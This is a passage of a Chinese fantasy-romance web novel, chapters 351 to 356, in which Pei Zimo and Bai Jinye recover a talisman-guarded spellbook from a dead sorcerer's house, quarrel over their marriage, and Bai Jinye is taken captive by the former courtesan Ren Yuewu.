等人离开了,裴子墨才回到桌边坐下,“他刚出了京城就跑了。”说着她眯了眯眼,“而且,锦成原来会术法,真是看走眼了。” 说着话,裴子墨也皱起眉头,难道楚星玄带到暗城的真的是锦成?锦成不知道是什么原因自己跑了,然后被楚星玄遇到,就被他带走了? “哎。”张之极叹了口气,“这个锦成……不来复州,自己跑了,举目无亲又身无分文,能跑到哪去?” “既然能跑,那就饿不死。”白锦夜拧了拧眉,开口道,“算了,都已经跑了这么久了,就算要去找,也不急于这一时,回头让人多留心些吧。” 裴子墨点点头,白锦夜难得回来一趟,也没必要一直纠结这件事,便拿起了筷子吃饭。 吃完饭,白锦夜要和张之极聊会天,裴子墨就先离开了饭厅。 走了几步,想起了什么,便叫了管家带她去之前那个乞丐住过的房间。 乞丐是冒充锦成的,走的时候,管家也只是兑现了那五百两银票,至于收拾东西,是绝对不可能的。 裴子墨进了房间,四下看了一圈,抽出一张符纸点燃,符纸在屋子里转了一圈,最后落在正北方的位置上,化成了灰烬。 她看着地上的灰烬眯了眯眼,锦成还真的往北走了? 第351章 人都是要娶妻生子的啊 吃饭的时候,张之极就想问,但是当着裴子墨的面,有些话他也不好问出口。 等裴子墨走了,他才拉着白锦夜低声问,“你和你这媳妇,天天跑来跑去都在折腾什么?我听说你和当今皇上的关系还不错,这新帝也比先帝能容人,之前还专门着人来看望我,你这王爷的身份如今恢复了,新帝也给你正名了,你到底是这天风国的王爷,为江山社稷想,也该做些正事。” 他说着叹了口气,“如今朝中武将甚缺,新帝有意请我回朝带兵,我这年纪大了,稍稍指点些没问题,可若真是带兵……自然是要看你们这些年轻人。” 白锦夜张了张嘴,还不等说话,张之极又继续道,“就算你前些年累了,不想再跑到边疆去驻守,但你若是在,那便是定心丸。况且……你们这天天到处跑,什么时候才能开枝散叶啊?” 听到这,白锦夜算是明白了,之前那些全都是铺垫,这最后一句才是重点。 “外公年纪越来越大了,你们再这么拖下去,外公都不知道能不能见到你们的孩子出世了。”张之极叹了口气道。 “外公,这件事……我们有安排。”沉默了会,白锦夜开口道。 “有什么安排?这生儿育女还不是顺其自然的事?”张之极拧起眉头,隔了会才问,“是不是……有什么话不方便说?我听说复州城外有个老中医,给不少人开过调理身体的方子……” 白锦夜轻咳一声,“外公,我们身体没问题,你别多想,只是……”他想了会,才搪塞道,“只是子墨本来不是裴家的亲生女儿,我答应了她,先帮她找到亲人,眼下已经有了眉目。” “啊?”张之极怔了半响,隔了会才恍然大悟道,“怪不得之前听说裴家对这个女儿不太好。”他说着叹了口气,“既然如此,那这也是正事。” “至于武将一事,外公也不用心急,之前我手下有几员大将,已经引荐给新帝了,你若是闲赋在家觉得无聊,便去帮忙练兵,若是不愿意,就留在复州过些清闲日子。”白锦夜把话题转移开。 张之极点点头,可也没接着这个话题,“不过我看你这媳妇,确实比之前好了不少,起码现在不给我摆脸色了。” 他想着之前几次见裴子墨的时候,她都一副爱答不理的模样,他就一直担心,她和白锦夜之间的关系会不会并不好。 现在来看,或许裴子墨是个性子慢热的,在裴家估摸着受过不少欺负,所以对别人才都有防备之心,时间久了,总会好起来的。 两个人又闲聊了几句,便各自回房休息。 白锦夜走到院中的时候,刚好碰到消食的左辞,他招了招手,左辞便赶紧走了过来,“王爷,有什么吩咐?” “之前,咱们在那个小寺庙的时候,只有我一个人晕过去了么?”白锦夜低声问道。 左辞点了点头。 白锦夜皱起眉,他之前就一直想找机会问左辞,但是裴子墨一直在,也就一直没问出来,“当时是什么情况?” 左辞眨巴了下眼睛,“我也不清楚啊,当时那个佛堂的门关了,倒是也没过多长时间,王妃就出来喊我,送你和凌珞去休息,那会……”他想了想,继续道,“那会那位大师也是躺在榻上,不知道是不是晕过去了,但就算那大师也晕过去了,他可没晕多久,吃饭的时候就跑出来吃饭了。” 白锦夜没有说话,如果那老和尚当时用了术法,估摸着是累了,回到榻上休息。 可若是按照裴子墨的说法,老和尚不想被人看到他的术法,裴子墨也应该晕过去才对,而且只是防止这件事,也没必要让他晕上好几天。 他垂下眼,想起老和尚说的“从哪来,回哪去。” 凌珞是从哪来的? 裴子墨说过,凌珞是从那个人身上剥离下来的执念。 所以老和尚的意思,是让凌珞回到那个人的身上么? 白锦夜这几天其实好几次都试图仔细地感受自己的身体,如果他是那个人,凌珞现在就是回到了他身上,可他一点感觉都没有。 但若是这丝执念毫无影响,裴子墨当初也没必要把这执念剥离出来。 白锦夜有点想不明白这件事,可在小寺庙里的时候,裴子墨没有说实话,他现在去问,她大概也不会说。 “王爷,怎么了?”左辞挠了挠头问道,“不过我也不太想的明白,怎么一开始是王妃身体虚弱,但是到了那小寺庙,王妃好了,就换成王爷晕倒了。” “没事,总之现在都没事了就好。”白锦夜抬手拍了拍左辞的肩膀,转身往房间走,走了几步又想起什么,转头看向左辞,“左辞,你该考虑一下你自己的终身大事了。” “我……我有什么终身大事,我的终身大事就是一辈子伺候王爷。”左辞看着白锦夜开口道。 “回头我让外公找找复州的媒婆,给你相看相看,你这年纪,该考虑娶妻生子了。”白锦夜说完也没再停留,继续往前走。 黑暗中,左辞的脸色微微一红,低声嘀咕道,“王爷自己都还没生小世子呢,倒是催促上我了。”他说着往书房的方向看了看,“这是被张老将军催促了,所以转身就来催我吧?” 正嘟囔着,肩膀突然一沉,左辞下意识地往旁边看去,就看到寒羽的大脸凑过来,“你干什么?一点声都不出,吓我一跳?” “你这也没有跳起来啊。”寒羽打量了左辞一眼,才又问道,“你要娶妻生子啦?” “别听王爷胡说,早着呢早着呢。”左辞摆了摆手。 “为什么啊?”寒羽眨巴着眼睛,“人不都是要娶妻生子的么?” “你听谁说的?”左辞看着他。 寒羽笑了笑,抬手往后院指了指,“后院有几个老婆婆,她们说的,她们还说看我长得好,要把闺女许配给我。” “你可别祸害人家闺女。”左辞当即阻止,“你……你是修罗,你只能娶修罗。” “为什么啊?”寒羽不懂,“我现在是人,你看我哪里像修罗?” 左辞翻了个白眼,看样子要催促白锦夜赶紧离开这才是,别张老将军没催动白锦夜生孩子,白锦夜没催动他结婚生子,最后倒是寒羽在这生了一窝修罗,那可真是热闹了。 第352章 阴阳策 白锦夜回了房间的时候,便见裴子墨正站在窗边发呆。 见他进来,裴子墨就转过了头,“当初沈易安住过的房子,现在怎么样了你知道么?” 白锦夜微微皱了下眉头,“当时应该是被查封了,他那一次涉及到月舞楼的钱财,估摸着房产不会交还给家人,也许会被官府收走,有可能已经被变卖了。不过当时那件事整个复州都知道,短时间内估计都会嫌弃晦气,不见得有人会买他的住宅。” “我想去看看。”裴子墨开口道。 白锦夜知道她大概是想起了什么,于是点点头,“我带你去。” 两个人一前一后的出了门,沈易安的住处很靠近城中,是个地段很好的位置。 远远的就能看见那里一片漆黑,没有一丝光亮,看样子暂时还没有人住。 走近了发现门上确实还贴着封条,封条虽然已经有些褪色,但也证明这住处还没有处理。 从院墙跳进院子,两个人一路摸到了书房。 书房里有些零乱,显然是被人翻找过,裴子墨找了个能下脚的地方,皱了下眉头,低声道,“找一找,有没有沈易安手写的东西。”说着也先往书架走去。 白锦夜往书房的另外一端走,“你觉得沈易安会把他会的术法一类的东西写下来?” “我只是感觉,他当时见到那本书,对他来说,像是打开了一个新世界的大门,他肯定是想要把书上的内容都消化掉。但是那位大师说,他资质有限,只学会了一些皮毛。沈易安是个聪明人,不一定是资质有限,毕竟靠自己摸索,没有人启蒙,从无到有,也是一个比较难的过程。” “你的意思是,那本书是他偷看的,他偷看的同时,肯定也害怕大师知道,所以他当时拿着那本书,第一件事要做的,不是消化内容,而是把内容全都背下来。”白锦夜接口道,“那书上的内容对他来说,应该是极其晦涩难懂的,他也怕时间久了,自己记错,所以在回家之后,应该就是立刻把当天背的内容写下来。” “是。”裴子墨点点头,“他身上的禁制,估计也是后来才下的。当时沈易安是偷看那本书,自然怕别人发现,所以肯定不会跟别人提起这件事,大师估摸着也是觉得这样,所以他回去默写的时候,就不会被禁制反噬。” “况且,那本书是大师有意给沈易安看的,如果沈易安是个实在人,说不定会向大师请教,若是当时就设了禁制,那请教的时候人就会死了。可沈易安从头到尾都在偷看,估摸着大师觉得沈易安多少是有些不靠谱了。” 两个人在书房里翻了半响,却什么都没翻到,连丢在地上的书本都翻看了,依旧没什么发现。 “像是沈易安这种情况,朝廷查他的时候,会把他的私人物品一类的带走么?”裴子墨开口问道。 “牵扯到月舞楼,估摸着查他的时候主要找的是账本和名册,其余的东西,应该不会太引起官差的注意。”白锦夜回道,“但是除非他的账本和名册比较容易容被发现,不然有他字迹的东西,也很可能被收走,毕竟有人为了不被发现,可能会把账本做成看上去并不像账本的样子。” 裴子墨停下手里的动作,“这本书对沈易安来说,应该很重要,甚至要比月舞楼的账本更重要。在他的心里,只要他的术法不出问题,月舞楼就永远不会被人发现异常。所以如果真的有这本书,要么他会随身携带,要么一定是藏起来的。” 她说着又重新四下看着,看看会不会有什么暗室。 “如果这本书他几乎已经背熟,说不定只需要偶尔看看,那样的话,估计就会放在一个不容易找到的地方。”白锦夜敲了敲书桌,桌面都是实木,他又转头看了看其他的地方,目光却落在椅子的靠背上。 他眯了眯眼,抽出凌迟刀,在椅背上削掉了一层木头,果然椅背中间是中空的,很薄的空间内,藏着一本书,“这里。”他说着就要把书抽出来。 “别动。”裴子墨赶紧走过去,制止了白锦夜的动作,“这本书可以说是沈易安安身立命的根本了,他就算藏起来,也不见得会完全放心。” “当时在那种情况下,沈易安不会没想过,用这本书换一条生路,可是他提都没有提这本书,证明他是宁愿死,都不想让外人知道这本书的存在,那么他一定就有把握,别人是拿不到这本书的。” 她说着小心翼翼地查看着缝隙,又拿出一道符纸在缝隙上扫了一圈。 符纸刚到了某个位置的时候,突然自燃。 裴子墨赶紧把符纸拿走,生怕这火星落在书上,好不容易找到的东西就这么毁了。 她从白锦夜的手里拿过凌迟刀,把座椅的靠背的一面完全切下来。 书立在缝隙里,但是在书的下面,却压着一张符纸。 裴子墨用凌迟刀把符纸先挑了出来。 用那老和尚的话来说,沈易安学到的东西,确实都是些皮毛,对付普通人或者不会术法的人来说倒是足够了,但是对方但凡会些术法,他这些小把戏就上不得什么台面了。 这符纸也不过就是召唤厉鬼的,估摸着若是有人直接拿起这本书,符纸上的厉鬼就会召唤出来攻击对方。 不过眼下这符纸被凌迟刀扎着,就没了一点反应。 裴子墨挥了挥手,烧了符纸,这才把这本书拿出来。 书页翻开处也贴了一张符纸,想要翻开书页,就要撕开符纸。 不过这符纸上能看出折折叠叠的痕迹,看样子每一次沈易安都是小心翼翼的拆开这符纸,看完书之后,再把符纸粘回去。 也不是什么厉害的符咒,就是一道引火咒。 如果不知道的人,强行撕毁符咒,符咒起火,这书就会被烧毁。 这也算是给这本书上了双重保险,所以假设当时的官差发现了这本书,估摸着也带不走,就算书页起火后及时扑灭,留下些只言片语,本就晦涩难懂的东西,就更难被人看懂了。 裴子墨抬手摸了摸书页上的符咒,符咒就自己掉落在地上,失去了功效。 她翻开书,第一页便写着三个大字—— 阴阳策。 第353章 我已经知道了 裴子墨微微挑了挑眉,看着这三个字的旁边,还用很古老的文字写了三个小字。 这古字的前两个是“阴阳”二字,裴子墨能认出来,但是第三个字她不认识,不过写在封面上,显然第三个字应该是“策”字。 裴子墨指尖轻轻拂过这三个字,“沈易安竟然认识古字?” 她说着想起什么,从怀里拿出之前的那本书,翻开,翻了几页之后,指着其中的两个字道,“这本书上的古字,和沈易安写的这三个古字是相同的。”她说着轻笑一声,“怪不得那大师愿意跟我换书看,他明知道我不认识这书上的字,就算他把他的那本书给我了,我拿回去,也是一样什么都看不懂。” “可是沈易安是怎么认识这些古字的?”白锦夜拧起眉,他问出这句话,也没想得到答案,毕竟知道答案的人已经不在这世上了。 裴子墨微微摇了摇头,翻开这本《阴阳策》,除了第一页上沈易安写了三个古字之外,剩下的,便再也没有古字了。 她有些失望地叹了一口气,如果这本书沈易安都用了古字和现在的字做了对照,那么她就能看懂手里的书了。 正看着书,外面突然传来脚步声。 裴子墨赶紧把两本书收起来,白锦夜也吹灭了手里的火折子。 本来两个人在黑暗中视物也算不错,找东西没问题,但是看书上的字多少有些费力,他想着这地方根本不会有人来,才点了火折子。 书房里重新暗下来,外面的脚步声也到了门口。 这书房除了门以外,就只有跟门在同一侧的两扇窗,如果现在出去,肯定也要和外面的人碰上了。 裴子墨和白锦夜对视了一眼,都觉得多一事不如少一事,于是迅速的蹲下身,躲在了桌子下面。 外面说话的声音也清晰的传过来。 “刚才还能看到这书房里有亮光呢,怎么这走近了就没了?”一个低低的女声传来。 “这沈易安生前就装神弄鬼的,说不定是在府上有什么安排。”另外一个女子的声音却丝毫没有压低,像是根本不害怕被人发现一样,“不过这府上越是搞得神秘,就越是证明沈易安真的有东西留下来。”女子说着便推开了门。 白锦夜轻轻皱起眉头,对方也是奔着沈易安的东西而来? 这世上哪有这么巧的事。 “娘娘……”那低声顿了顿,又赶紧改了称呼,“小姐,咱们都来找了好几天了,却没什么都没找到,要不要换个地方找?” “换什么换,我都算过了,宝贝就在这书房里面。”这女子说着也带着几丝焦急,“你也知道找了好几天了,可不能再在这里耽搁了,今天晚上无论如何得把东西找到。” 裴子墨垂下眼,这世上能被称为娘娘的人可不多。 白风御登基之前,就只有一位夫人,也没听说他再纳妃的事,可显然眼前这人不可能是当今的皇后。 至于和月如……她因为跟白玉衡搅合在一起,算是谋逆一党,早就跟着白玉衡的人一起清算了。 而且这人身上的气息也不可能是和月如。 裴子墨从袖口又拽出一道符纸,抬手扔了出去。 符纸无风自动,轻飘飘地飘到了门外,随即化作一道人形,向远处飘去。 “谁?”那女子察觉到异常,转头只看见一道人影迅速的离开,她立刻迈步跟上。 “娘……小姐,你等我下啊。”低声的女子也跟了上去。 脚步远了,裴子墨便拉着白锦夜迅速的出了书房,可是却没有离开,而是跃上了房顶。 那人影吸引不了这女子多长时间,她应该很快就会去而复返,有人也盯上了沈易安的东西,他们总得看看这人是谁。 果然,也不过就一炷香的时间,那两个女子就重新回了书房前。 这两个女子穿着贵气,也没做什么遮掩。 裴子墨转头看向白锦夜,以眼神询问他是否认识。 白锦夜微微摇了摇头。 这一次回来,那女子也没再偷偷摸摸,直接点了火折子,在书房里粗略地看了一圈,便立刻发现和昨天的变化,她几步走到书桌后面,看着已经被破坏的椅子,用力地提了椅子一脚,把椅子踹翻在地上,“找了这么多天,竟然便宜了别人!” “那是被刚才那个人拿走了?”丫鬟模样的人上前,脸上带着几丝不甘,“一定是刚才那个人,说不定还没走远,我去追。” “这地方藏得可真隐蔽。”那女子眯了眯眼,“也不知道是什么人能想到东西会藏在这里。”她说着摆了摆手,“现在去追,估计已经来不及了。” 说完她在房间里转了几圈,“这人肯定不是复州的人,他若是早就觉得沈易安的宅院里有东西,肯定之前就来拿了,咱们这几天行踪也很隐蔽,应该是没有被人发现的,除非是……又有人来了复州,并且知道了沈易安的事。” “你马上找人去查一查,最近有什么人来过复州,这个人能盯上沈易安,估摸着这几天在城里也打探过沈易安的消息。”女子说着冷哼一声,“敢抢我的东西,真是活得不耐烦了。” 说完两个人一前一后离开了沈家的宅院。 “这人倒是不笨。”裴子墨轻轻皱起眉头,虽然他们没有这两天复州城内打探过沈易安的消息,但是张之极在复州的地位不低,家里来了人显然很容易被人知道。 复州城虽然很大,每天来来往往的人也不少,他们肯定能在这两个女子找上门之前离开复州,可就怕他们走了以后,这两个人查到了什么,会找张之极的麻烦。 裴子墨转头看向白锦夜,“不如我们先摸摸她们的底,你想知道复州最近来了哪些生面容,应该容易得很吧?看着两个人的穿着,非富即贵,在复州城里花钱肯定也是大手大脚,你找她们,可比她们找我们简单。” 白锦夜点点头,“这是自然,不过我大概已经知道她的身份了。” 第354章 我们现在这样算什么? “哦?”裴子墨挑了挑眉。 白锦夜看着她,本想迈个关子,但隔了一会,还是轻咳了一声,直接道,“新帝登基,各国自然会来朝庆贺,所以这人应该不是天风国的。别的国家,哪个国家会有后宫的嫔妃出访他国呢?” “肯定不会有,她应该只是随着出使的队伍前来,但是并没有表露身份,使者们都在京城,她则是自己跑出来办事。我想,除了东凉国的和月薇,应该也没有人有这样的本事和动机。” “倒也是。”裴子墨点点头,如今裴姝不见了,和月如也失去了联系,和月薇一个人在东凉国,想必也会试图寻找这两个人的消息。 但是一直找不到,之前她又不能擅自离国,现在这刚好就是最好的机会。 这女子的年纪看着和和月如也相仿,身份估摸着是不会错了。 “最重要的是,她大概也没想到会有人认出她的身份,所以腰间还挂着东凉国的令牌。”白锦夜继续道,“天风国和东凉国走动不多,这令牌一般人应该也认不出来,所以她也就没有刻意的收起来。” “原来你是认出了令牌。”裴子墨拍了拍手,站起身,“那说一说,你是怎么发现那椅背有异常的?” “正常的椅背都是镂空雕花的,很少见到实心实木的椅背,只是看着别扭,所以才想看看是不是有什么问题。”白锦夜也站起来,沉默了一会才道,“自从跟你在一起以后,其实接触这些事也不少,你真的不打算教我什么术法么?” 裴子墨没有说话,跃下了房顶。 “之前咱们在琼华山的时候,你也只顾着教左辞。”白锦夜也跟了上来,“你说左辞资质好,可明明你教我们的术法,都是我先学会的,你就硬是说我的不对,我看得出来,你并不想教我,但……总得有个原因吧?我学会了术法,就算术法不高,不能保护你,但起码很多时候可以自保,不是么?” 裴子墨轻轻皱了下眉头,转头看向白锦夜,“你真的想学术法?” 白锦夜点点头。 裴子墨继续往前走,犹豫了会才说,“我早就跟你说过,术法一途,都是日积月累,不可能一蹴而就,若是让我教你,没个十年八年,不可能有所小成,不然就像是左辞现在这样,学到的东西差不多就只可以变个戏法。” “可如今我们的事情这么多,哪有那么多时间用来教习术法呢?”她说着轻轻叹了口气,“不然这样吧,你跟我一起看这本《阴阳策》,起码我知道一些东西,你总不会像是当初沈易安那样全靠自己摸索,若是这里的东西能够融会贯通,应该也不错。” “而且按照那大师的说法,这书里有关修炼魂魄之力的事情,你是神冥公的后人,以魂魄的形式游走地府,学会这个,对你肯定有帮助。” 白锦夜没说话,又走了一段,才低声道,“我总感觉你不希望我学术法,并不是因为学术法要耗费很长的时间,我是冥尸,不会死,这生命无休无止的,我最不缺的,就是时间,不是么?” 裴子墨停下脚步,转身看向白锦夜,“你想说什么?” “子墨,我只是想说,我们既然在一起,从我的角度,我肯定是想保护你,而不是总是拖累你,又或者在遇到什么事的时候,完全没办法帮忙。我如果可以做什么,哪怕只是小小的事情,也总好过我像个外人一样看着事情的发生。”白锦夜顿了顿,看着面前的人低声道,“或者说得再直白一点,我只有足够强大,才能一直跟你在一起,不然……我总感觉,你迟早哪一天还是会找借口,不让我再跟着你。” “这借口如今就很容易,比如你要去做什么危险的事,我跟你一起去了,你没有多余的精力来保护我,我跟着你只会成为你的累赘。你但凡这样说,我就只能接受。” 裴子墨收回目光,垂眼看着地面,不知道在想什么。 “还是……你在怕什么?如果我学会了术法,会有什么不好的事情发生?”白锦夜又问。 “你想学便学吧。”裴子墨拧了拧眉,“我教你就是了。” 白锦夜抬手抓住她的胳膊,“子墨……” “你想学术法,我也同意了,你还想说什么?”裴子墨抬起头,脸色已经有了微微的变化。 白锦夜看着她的神色,像是有一丝的不耐烦。 他下意识地松开手,后退了一步,“我以为我们之间的关系比以前亲近了一些……起码在从琼华山出来之后,我觉得我们在往好的方向发展。但现在看来,并不是,是么?” 裴子墨没说话,转身要走。 “我只是希望,我们能像夫妻一样相处,有什么都清清楚楚的说出来,你的顾虑,你的打算,你对我的看法。”白锦夜看着她的背影又道,“我们现在这样算什么?” 裴子墨走了几步,这一次白锦夜没有再跟上来,她也就重新停下了脚步,转身又看向白锦夜,“我们这样……什么都不算,琼华山的那些事,你应该忘记,是你说你不想忘记,但那些并不会影响什么。我还是……以前的那个我,我有我自己要做的事,我有我自己的目的,在我达到我的目的之前,所遇到的所有的人所有的事,对我来说,都是在帮我往那个目的走。” “未来会发生什么,我不知道,每一个人会怎么样,能帮我多少,我能回馈多少,我也不知道。在一切没有尘埃落定之前,我不想被无谓的关系牵绊。” “无谓的关系。”白锦夜轻声重复了一遍裴子墨的话,又自嘲地笑了一声,“原来这么久,经历过这么多事之后,在你眼里,依旧是无谓的关系。” “我不想跟你吵架。”裴子墨继续道。 白锦夜往前走了几步,“你做的一切,是不是都在保护那个人?你想扫平了所有的障碍,没有遁世岛的威胁之后,再去找他,到时候就再也没有任何危险,也没什么能拆散你们,是么?我也好,凌珞也好,任何人都好,只不过你想要达成目标的棋子。” “只不过我们这些棋子多少是帮了你,你也不愿意见到我们下场太过凄惨,才会偶尔施舍那么一点好处,是么?” 裴子墨沉默了半响,最后才轻声道,“是,你说的没错。” “好,那我最后问你一个问题,那个人到底是谁?”白锦夜凝眸盯着面前的女人,他不想再这样茫然地走下去,他想要一个明确的答案,他可以不是那个男人,但他希望裴子墨能明明白白的告诉他,他和她会是什么样的结局。 第355章 我们可以永远在一起 裴子墨转过身,看着面前的院墙,隔了好一会才低声道,“我不能告诉任何人他是谁,他在哪。白锦夜,你有自己选择的权力,你也可以去过自己想过的生活,在所有事情结束之前,我没办法给你任何确切的答案。” 白锦夜轻笑了一声,“我想过的生活……确实,我应该好好想一想,如果没有你,我应该过什么样的生活。” 裴子墨站了会,没再说话,跃上院墙离开了沈家的宅院。 只剩下白锦夜一个人站在漆黑的院子中间,他想他也许应该跟上去,起码见到裴子墨安全地回到张家,可是又觉得自己这个念头太过可笑,毕竟裴子墨根本不需要他的保护。 各种念头在脑海里交杂在一起,他甚至隐隐的有一丝头疼。 他抬手按了按眉心,深吸了一口气,压下这所有的念头,正要朝裴子墨离开的方向跟上去的时候,却见到一丝流光往后院飞去。 他拧了拧眉,迅速的跟了上去。 流光进了后院便不见了踪影,白锦夜停下脚步,看着眼前的三间厢房,并不知道那流光进了哪一间房。 他站了会,便逐间看过去。 前两间都没有任何的异样,可第三间房的房门一推开,便有一股异香扑鼻,这异香来得迅猛,甚至他连一个念头都没有涌现在脑海,人就已经晕过去了。 等他醒来的时候,已经不知道过了多久。 他睁开眼睛,想动,却发现自己被铁链困在一个刑架上,那铁链看着很细,又松松垮垮的,可他偏偏却没办法挣开。 白锦夜心里清楚,这大概是遇到了会术法的人,难道那和月薇没有走么?知道自己一个人不是他和裴子墨两个人的对手,便等他们分开了再下手? 他拧了拧眉,看向房间的中间,这房间里漆黑,但是他也能感受到有人坐在那。 这人身上的气息有些熟悉,像是以前见过,可是他一时又想不起来。 估计对方也听到了他拽动铁链的声音,于是点燃了桌上的油灯,拿着油灯起身慢慢地走近,走到他面前才停了下来,“张公子,你回来了。” 白锦夜眯了眯眼,认出了面前的女子,正是当时月舞楼的头牌——任月舞,“是你?” “真是好久不见。”任月舞笑吟吟地看着白锦夜,“我一直让人注意着张家,我知道只要张老将军在这复州,你早晚会回来,还真是让我等到了。”她说着拿着油灯绕着白锦夜慢慢地走着,“你们才刚回来,就跑到沈家的宅院,莫不是想到当初做的事情有什么纰漏?” 白锦夜没说话。 任月舞轻笑了几声,“你知道么?那天晚上,沈易安追着你们出去的时候,我也跟着一起去了,那个树林里发生的事,其实我都看见了。他为了让我能跟他养的那些鬼好好配合,帮我看了天眼,所以我能看见很多常人看不见的,我看到……是你的夫人杀了沈易安。” “这跟后来的传言根本不一样,说什么是他突发疾病……不过他已经死了,话还不都是活人说的?为了维护你的夫人,这小小的谎言不算什么。” “只不过,我当时见你和你夫人的关系,还以为你们感情深厚,这才过了多久,你就换了一位夫人。”她说着在白锦夜的身前停了下来,往前凑了凑,认真地看着白锦夜,“我不美么?你既然没有那么的在乎你之前的那位夫人,为什么我想要跟着你的时候,你只让一个下人打发我?” 白锦夜冷眼扫了任月舞一眼,又四下看了一圈,才道,“看样子,当初沈易安不只是帮你开了天眼,还教了你术法吧?” “他可没有教我术法。”任月舞轻叹了一声,“在他的眼里,我就帮他办事的工具,况且又是一个活不长的工具,等我死了,无数的姑娘都愿意成为他的‘月舞’,只有那么短短几年的时候,他可不愿意在我身上浪费太多的精力。” 沈易安没教,但是任月舞还是学会了,白锦夜看向她,“如此,便只能说你是个聪明人了。” “是啊。”任月舞有些痴迷地看着白锦夜,“既然我聪明,又美,张公子愿不愿意与我结秦晋之好?我刚才隐约的听到,你和你那位新夫人在吵架,你们既然感情不和,也没必要勉强不是?” “或者,我也不介意你另有夫人,你放心,只要你待我好,我绝对不会做出像花惜那样忘恩负义的事情来。” “那恐怕你要失望了,当时我没同意,现在一样不会同意。你再美,也没我夫人美,再聪明,也没我夫人聪明,在我眼里,她什么都是好的,你连她一根头发都比不上。”白锦夜眯眼看着任月舞,“你趁早死了这条心。” “哦?”任月舞的目光里带着几丝失望,她转身走了两步,才又道,“你知道么?从小我想要得到的,就没有得不到的。” “我小时候,去月舞楼,看到月舞楼的月舞姑娘风华绝代,受万人追捧,甚至有人不远万里慕名而来,我就想,我一定要成为月舞姑娘,我也要让所有的男人拜倒在我的石榴裙下,后来我就做到了。” “我只是没想到,等我成了月舞姑娘的时候,月舞楼已经是那般状况。我知道,我必须要摆脱沈易安,后来我听张铭锐公子说,肃亲王的外公告老还乡,要回复州,他正帮忙看宅子,我就知道机会来了。” “那张铭锐几杯酒下肚,只是轻轻地摸了一下我的手,就满口答应下来,会想办法把沈家那处宅院推荐给张老将军。” “那宅院荒废了几年,毕竟死过那么多人,复州城内没人会买,沈易安也不会想卖。但是张老将军想买,张太妃也跟着一起来,沈易安总要给这个面子。那会沈易安说,就算卖给张家也没关系,反正肃亲王已经不在了,这张家迟早要被皇上清算,到时候在复州人的眼里,这宅子就更加不吉利,以后再也不会有人想买了。” “沈易安对外说那处宅院有他的伤心事,实际上他在用那处宅院养鬼,养阴地。我就是希望张老将军能发现那府上的异常,追查起来,以沈易安做过的那些事,他肯定就自身难保,到时候我也自由了。” “事实证明,我的想法确实没错,沈易安真的死了。”任月舞笑着看向白锦夜,“他死了,甚至让我认识了你,我庆幸在过去多的几年里,沈易安那变态的占有欲从不让我接客,可他自己也从来不碰我,让我还有完璧之身。” “如今,我也会些术法,只要你愿意跟我在一起,我也可以把这些术法教给你,驻颜有术,长生有方,我们可以永远的在一起!” 第356章 你们王爷不是这么幼稚的人 裴子墨回到房间许久,也没见白锦夜回来。 她自然知道白锦夜是生气了,总归是个王爷,不可能一直放下自尊,话说到这份上还会回房间来睡。 不过在张府,总不会少白锦夜的一个房间就是了。 只是第二天早饭的时候,却依旧不见白锦夜出现。 等了片刻,张之极也忍不住问裴子墨是不是白锦夜还没起床。 裴子墨微微皱了下眉头,闭上眼仔细地感受了下,确实没在张府里感受到冥尸的气息,于是便开口道,“他一早就出去办事了,这会还没回来,那就不用等他了。” 张之极略微有些怀疑,但也没再说话。 吃过早饭,裴子墨便交代左辞,让他去找找白锦夜。 “王爷昨晚就没回来?”左辞有些诧异地低声问道,“王妃,你确定么?” “不确定,但你家王爷也不是个小孩子了,在复州城内,自保的本事还没有么?”裴子墨微微拧了拧眉,顿了会才补充道,“对了,你再去查一下,最近东凉国的后妃和月薇应该来了复州城,你查一查她的落脚地。” “好。”左辞挠着脑袋走开了,王爷一宿都没回来?怕不是跟王妃闹别扭了,他轻轻地叹了一口气,别人家两口子吵架,都是女的闹什么离家出走,到了他们这,就换成了他们王爷离家出走,他们家王爷可真是出息了啊。 白锦夜手下不少的人都到了复州,在这边想要查什么,倒是很容易。 左辞中午回到府上,就告诉裴子墨,和月薇就住在复州最大的客栈,包了天字一号房,直接付了一个月的钱。 这点事其实他没用上一炷香就查到了,剩下的时间,他们几乎在满城找白锦夜,可却什么都没找到。 “王妃,你跟王爷……是不是闹别扭了啊?”左辞试探着问道,“是不是王爷耍了小性子,故意让咱们找不到他,想让你着急呢。” 裴子墨轻轻皱了下眉头,“你们王爷……应该不是这么幼稚的人。” 言下之意,就确实是闹别扭了。 左辞无声地叹了口气,“行,那我再加派人手去找。”说完他又想起什么,才道,“对了,王妃,你知道么?月舞楼重新开业了,听说老板就是以前的那个月舞姑娘。” “哦?”裴子墨挑了挑眉。 “我也是看到了之后随口问了问,月舞楼查封之后,说是大家都嫌月舞楼晦气,也没人愿意接手。那月舞姑娘花了很少的钱,把月舞楼接下来了。之前那些无处可去的月舞楼的姑娘,也被她一起留了下来。”左辞继续道。 “大家估摸着是抱团共渡难关,一开始也没有客人,但是慢慢的……架不住她们价钱低,一来二去,想着沈易安都死了,就零星的有胆子大的开始去月舞楼了。” “现在生意虽然没有以前好,但是也能维持这些姑娘的生活。” “是么?”裴子墨随口应和了一声,也没太在意这个。 左辞也不过就是因为当初月舞楼的事,所以才会跟裴子墨说一下这情况,离开之前,又随口嘟囔了一句,“不过我从月舞楼门口路过的时候,总感觉那地方哪里看着别扭。” 裴子墨本来正要去看看凌珞,已经转身走了几步,听到左辞这句话,又停了下来。 她教过左辞术法,左辞虽然只学了一点,但是有些常人感受不到的东西,他肯定是能感受到的。 左辞说完这句,也想起了什么,见到裴子墨的脚步停下来,便赶紧问道,“王妃,之前你教我术法的时候,跟我说过,因为我学的不多,所以很多东西看不透,只是可能感觉看上去很别扭,你当时说,如果看到有别扭的地方、东西和人,就尽量躲远点。那月舞楼会不会还是有什么不对啊?” “不好说。”裴子墨转头看了他一眼,“你先去找你们王爷吧,晚上我有时间过去看看怎么回事。” “好。”左辞点点头,快步向外面走去。 裴子墨去看了凌珞,他还是和之前没什么变化,看样子那老和尚的药确实管用。 左辞有正是要办,没带着寒羽,就留着寒羽守着凌珞。 这一具保存好的身体放在这,有可能会被游魂盯上,钻到身体里兴风作乱,裴子墨在凌珞的身上留了符咒,原则上已经不害怕这件事了。 但是寒羽依旧守在这,主要是凌珞就像是一个诱饵,可以吸引不少游魂前来。 对于这些不怀好意多的游魂,寒羽当场就撕吧撕吧吃了。 他发现再也没有比这更方便的捕食方法了,对于修罗来说,有魂魄吃,那可比大鱼大肉的诱惑要大。 于是左辞说不能带他一起出门的时候,他当即就跑来守着凌珞了。 